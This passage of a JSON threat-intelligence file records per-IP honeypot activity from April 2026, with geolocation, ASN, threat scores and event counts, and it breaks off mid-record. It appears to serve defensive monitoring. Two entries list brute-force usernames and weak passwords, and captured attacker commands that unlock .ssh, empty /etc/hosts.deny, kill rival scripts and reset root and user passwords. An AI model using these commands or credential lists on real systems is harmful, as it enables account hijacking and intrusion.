        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T06:49:27.121000+00:00",
        "last_seen_30d": "2026-04-07T06:50:35.356000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.89.32.249": {
      "attack_count": 2,
      "first_seen": "2026-04-04T15:18:29.531Z",
      "last_seen": "2026-04-04T15:18:30.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T15:18:29.531000+00:00",
        "last_seen_30d": "2026-04-04T15:19:39.290000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.91.213.174": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:58:01.205Z",
      "last_seen": "2026-04-30T09:00:01.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:58:01.205000+00:00",
        "last_seen_30d": "2026-04-30T09:10:38.830000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "121.139.245.144": {
      "attack_count": 2,
      "first_seen": "2026-04-06T19:17:48.029Z",
      "last_seen": "2026-04-06T19:18:01.303Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Anyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T19:17:48.029000+00:00",
        "last_seen_30d": "2026-04-06T19:19:09.173000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.170.221.40": {
      "attack_count": 2,
      "first_seen": "2026-04-02T12:19:42.920Z",
      "last_seen": "2026-04-02T12:20:13.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Geumcheon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T12:19:42.920000+00:00",
        "last_seen_30d": "2026-04-02T12:21:23.362000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "139.59.183.60": {
      "attack_count": 2,
      "first_seen": "2026-04-05T20:44:57.623Z",
      "last_seen": "2026-04-05T20:44:57.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T20:44:57.623000+00:00",
        "last_seen_30d": "2026-04-05T20:46:01.143000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.103": {
      "attack_count": 2,
      "first_seen": "2026-04-23T01:34:21.564Z",
      "last_seen": "2026-04-23T01:34:21.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:36:08+00:00",
        "last_seen_30d": "2026-04-28T23:01:08.333000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 28,
        "Cowrie": 2,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "158.160.183.202": {
      "attack_count": 2,
      "first_seen": "2026-04-03T08:49:59.037Z",
      "last_seen": "2026-04-03T08:49:59.038Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 200350,
      "as_org": "Yandex.Cloud LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T08:49:59.037000+00:00",
        "last_seen_30d": "2026-04-03T08:51:02.991000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "164.90.186.55": {
      "attack_count": 2,
      "first_seen": "2026-04-07T18:40:12.252Z",
      "last_seen": "2026-04-07T18:40:12.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T17:24:11.869000+00:00",
        "last_seen_30d": "2026-04-07T18:41:20.715000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "164.92.238.143": {
      "attack_count": 2,
      "first_seen": "2026-04-28T16:09:57.051Z",
      "last_seen": "2026-04-28T16:10:06.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-28T16:09:57.051000+00:00",
        "last_seen_30d": "2026-04-28T16:11:13.924000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "18.144.173.162": {
      "attack_count": 2,
      "first_seen": "2026-04-14T15:25:07.254Z",
      "last_seen": "2026-04-14T15:25:17.403Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T15:25:07.254000+00:00",
        "last_seen_30d": "2026-04-14T15:26:27.022000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.229": {
      "attack_count": 2,
      "first_seen": "2026-04-12T15:52:05.938Z",
      "last_seen": "2026-04-12T15:52:37.036Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T10:28:02+00:00",
        "last_seen_30d": "2026-04-30T22:27:59.545000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 28,
        "ConPot": 2,
        "Cowrie": 2,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "206.81.23.220": {
      "attack_count": 2,
      "first_seen": "2026-04-27T23:25:46.021Z",
      "last_seen": "2026-04-27T23:26:06.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.3,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T15:32:33+00:00",
        "last_seen_30d": "2026-04-27T23:36:09.357000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 23,
        "Cowrie": 2,
        "Ipphoney": 1
      }
    },
    "35.203.210.171": {
      "attack_count": 2,
      "first_seen": "2026-04-24T21:57:46.718Z",
      "last_seen": "2026-04-24T21:57:56.445Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 62.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 25,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T01:06:27+00:00",
        "last_seen_30d": "2026-04-26T10:56:35.730000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 11,
        "Cowrie": 2
      }
    },
    "37.110.113.113": {
      "attack_count": 2,
      "first_seen": "2026-04-15T09:14:59.401Z",
      "last_seen": "2026-04-15T09:16:59.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T09:14:59.401000+00:00",
        "last_seen_30d": "2026-04-15T09:27:05.314000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "37.140.44.206": {
      "attack_count": 2,
      "first_seen": "2026-04-05T19:04:21.102Z",
      "last_seen": "2026-04-05T19:04:52.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Magnitogorsk",
      "asn": 8369,
      "as_org": "Intersvyaz-2 JSC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:04:21.102000+00:00",
        "last_seen_30d": "2026-04-05T19:05:57.430000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.150.97.139": {
      "attack_count": 2,
      "first_seen": "2026-04-22T18:40:55.155Z",
      "last_seen": "2026-04-22T18:41:07.585Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Victorville",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T18:40:55.155000+00:00",
        "last_seen_30d": "2026-04-22T18:42:15.150000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.77.138.193": {
      "attack_count": 2,
      "first_seen": "2026-04-21T15:17:40.719Z",
      "last_seen": "2026-04-21T15:17:54.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:17:40.719000+00:00",
        "last_seen_30d": "2026-04-21T15:18:59.885000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.218.174.114": {
      "attack_count": 2,
      "first_seen": "2026-04-11T16:21:14.359Z",
      "last_seen": "2026-04-11T16:21:45.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T16:21:14.359000+00:00",
        "last_seen_30d": "2026-04-11T16:22:54.286000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.227.124.114": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:29:00.901Z",
      "last_seen": "2026-04-05T17:29:14.034Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Handen",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:29:00.901000+00:00",
        "last_seen_30d": "2026-04-05T17:30:22.507000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.222": {
      "attack_count": 2,
      "first_seen": "2026-04-04T12:48:37.920Z",
      "last_seen": "2026-04-04T12:48:37.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 30,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:05:50.962000+00:00",
        "last_seen_30d": "2026-04-30T22:09:07.863000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Honeytrap": 42,
        "Cowrie": 2
      }
    },
    "91.196.152.79": {
      "attack_count": 2,
      "first_seen": "2026-04-13T00:23:46.813Z",
      "last_seen": "2026-04-13T00:23:46.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T17:02:14+00:00",
        "last_seen_30d": "2026-04-24T15:24:19.891000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Honeytrap": 6,
        "Cowrie": 2
      }
    },
    "91.230.168.96": {
      "attack_count": 2,
      "first_seen": "2026-04-13T00:57:11.666Z",
      "last_seen": "2026-04-13T00:57:21.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 21,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T12:31:41+00:00",
        "last_seen_30d": "2026-04-25T17:33:43.382000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 13,
        "Cowrie": 2,
        "Dicompot": 2
      }
    },
    "91.231.89.211": {
      "attack_count": 2,
      "first_seen": "2026-04-18T12:47:28.731Z",
      "last_seen": "2026-04-18T12:47:31.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:13:44.517000+00:00",
        "last_seen_30d": "2026-04-30T20:25:25.831000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 42,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "45.56.100.151": {
      "attack_count": 1263,
      "first_seen": "2026-04-12T15:23:08.064Z",
      "last_seen": "2026-04-12T15:59:34.333Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "debian",
        "dev",
        "test",
        "user",
        "aaa",
        "admin",
        "alex",
        "chris",
        "d",
        "deployer",
        "devuser",
        "ducc0x",
        "hadoop",
        "home",
        "linux",
        "marketing",
        "minecraft"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "1234",
        "12345",
        "12345678",
        "root",
        "1",
        "111",
        "1qaz@WSX",
        "p@ssw0rd",
        "ubuntu",
        "!@#$%^",
        "!QAZ2wsx3edc4rfv",
        "0000",
        "1011",
        "11",
        "1111",
        "11111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1777,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T15:23:08.064000+00:00",
        "last_seen_30d": "2026-04-12T16:00:40.709000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1263,
        "Suricata": 514
      }
    },
    "52.233.193.61": {
      "attack_count": 912,
      "first_seen": "2026-04-08T09:50:37.553Z",
      "last_seen": "2026-04-30T09:54:49.456Z",
      "sessions": 112,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "steam",
        "user",
        "cat",
        "deploy",
        "factorio",
        "frappe",
        "oracle",
        "postgres",
        "test",
        "teste1",
        "user1",
        "admin1",
        "administrator",
        "ali",
        "benjamin",
        "daniel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
        "!QAZxsw23",
        "!qazXsw2",
        "0000",
        "11111",
        "1234",
        "123456QW!",
        "123456^%$@!",
        "123456qwe",
        "123654",
        "12qwaszx",
        "1qaz!QAZ",
        "1qaz@wsx",
        "2026",
        "321dsa",
        "4321",
        "Admin123456789@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\niZuRRuODmsxg\\niZuRRuODmsxg\\n\"|passwd",
        "echo \"factorio\\nO1LGrJDWZJ9Q\\nO1LGrJDWZJ9Q\\n\"|passwd",
        "echo \"jay\\nlh5irnG80stZ\\nlh5irnG80stZ\\n\"|passwd",
        "echo \"root:mOAwas3v2kdw\"|chpasswd|bash",
        "echo \"root:mlKuv6V0wTOz\"|chpasswd|bash",
        "echo \"teste1\\niPE4dCDukscd\\niPE4dCDukscd\\n\"|passwd",
        "echo -e \"123456\\niZuRRuODmsxg\\niZuRRuODmsxg\"|passwd|bash",
        "echo -e \"factorio\\nO1LGrJDWZJ9Q\\nO1LGrJDWZJ9Q\"|passwd|bash",
        "echo -e \"jay\\nlh5irnG80stZ\\nlh5irnG80stZ\"|passwd|bash",
        "echo -e \"teste1\\niPE4dCDukscd\\niPE4dCDukscd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1163,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:50:37.553000+00:00",
        "last_seen_30d": "2026-04-30T09:55:53.067000+00:00",
